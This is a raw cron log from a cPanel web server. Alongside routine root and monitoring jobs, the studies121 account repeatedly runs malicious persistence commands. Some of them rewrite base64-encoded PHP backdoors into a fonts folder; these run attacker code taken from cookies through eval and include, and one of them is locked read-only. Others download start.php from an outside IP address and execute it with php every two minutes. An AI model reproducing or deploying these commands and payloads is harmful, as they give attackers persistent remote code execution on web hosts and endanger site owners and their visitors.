Aug 31 23:58:01 ip-184-168-122-23 CROND[15745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:58:01 ip-184-168-122-23 CROND[15748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:58:01 ip-184-168-122-23 CROND[15749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:59:01 ip-184-168-122-23 CROND[15909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 23:59:01 ip-184-168-122-23 CROND[15911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 23:59:01 ip-184-168-122-23 CROND[15913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:59:01 ip-184-168-122-23 CROND[15912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:00:01 ip-184-168-122-23 CROND[15998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:00:01 ip-184-168-122-23 CROND[16002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:00:01 ip-184-168-122-23 CROND[16005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:00:01 ip-184-168-122-23 CROND[16006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:00:01 ip-184-168-122-23 CROND[16009]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:00:01 ip-184-168-122-23 CROND[16010]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 00:00:01 ip-184-168-122-23 CROND[16007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:00:01 ip-184-168-122-23 CROND[16011]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:00:01 ip-184-168-122-23 CROND[16008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:01:01 ip-184-168-122-23 CROND[16117]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16117]: starting 0anacron
Sep  1 00:01:01 ip-184-168-122-23 CROND[16123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:01:01 ip-184-168-122-23 CROND[16127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:01:01 ip-184-168-122-23 CROND[16124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:01:01 ip-184-168-122-23 CROND[16126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:01:01 ip-184-168-122-23 CROND[16125]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 00:01:01 ip-184-168-122-23 anacron[16136]: Anacron started on 2026-09-01
Sep  1 00:01:01 ip-184-168-122-23 anacron[16136]: Normal exit (0 jobs run)
Sep  1 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16138]: finished 0anacron
Sep  1 00:02:02 ip-184-168-122-23 CROND[16222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:02:02 ip-184-168-122-23 CROND[16223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:02:02 ip-184-168-122-23 CROND[16224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:02:02 ip-184-168-122-23 CROND[16226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:02:02 ip-184-168-122-23 CROND[16225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:03:01 ip-184-168-122-23 CROND[16305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:03:01 ip-184-168-122-23 CROND[16307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:03:01 ip-184-168-122-23 CROND[16308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:03:01 ip-184-168-122-23 CROND[16309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:04:01 ip-184-168-122-23 CROND[16384]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:04:01 ip-184-168-122-23 CROND[16385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:04:01 ip-184-168-122-23 CROND[16389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:04:01 ip-184-168-122-23 CROND[16390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:04:01 ip-184-168-122-23 CROND[16388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:05:01 ip-184-168-122-23 CROND[16478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:05:01 ip-184-168-122-23 CROND[16479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:05:01 ip-184-168-122-23 CROND[16477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:05:01 ip-184-168-122-23 CROND[16481]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 00:05:01 ip-184-168-122-23 CROND[16482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:05:01 ip-184-168-122-23 CROND[16483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:05:01 ip-184-168-122-23 CROND[16487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:06:01 ip-184-168-122-23 CROND[16571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:06:01 ip-184-168-122-23 CROND[16573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:06:01 ip-184-168-122-23 CROND[16574]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:06:01 ip-184-168-122-23 CROND[16576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:06:01 ip-184-168-122-23 CROND[16577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:07:01 ip-184-168-122-23 CROND[16659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:07:01 ip-184-168-122-23 CROND[16662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:07:01 ip-184-168-122-23 CROND[16661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:07:01 ip-184-168-122-23 CROND[16664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:08:01 ip-184-168-122-23 CROND[16833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:08:01 ip-184-168-122-23 CROND[16834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:08:01 ip-184-168-122-23 CROND[16838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:08:01 ip-184-168-122-23 CROND[16837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:08:01 ip-184-168-122-23 CROND[16839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:09:01 ip-184-168-122-23 CROND[16919]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 00:09:01 ip-184-168-122-23 CROND[16920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:09:01 ip-184-168-122-23 CROND[16923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:09:01 ip-184-168-122-23 CROND[16924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:09:01 ip-184-168-122-23 CROND[16928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:10:01 ip-184-168-122-23 CROND[17010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
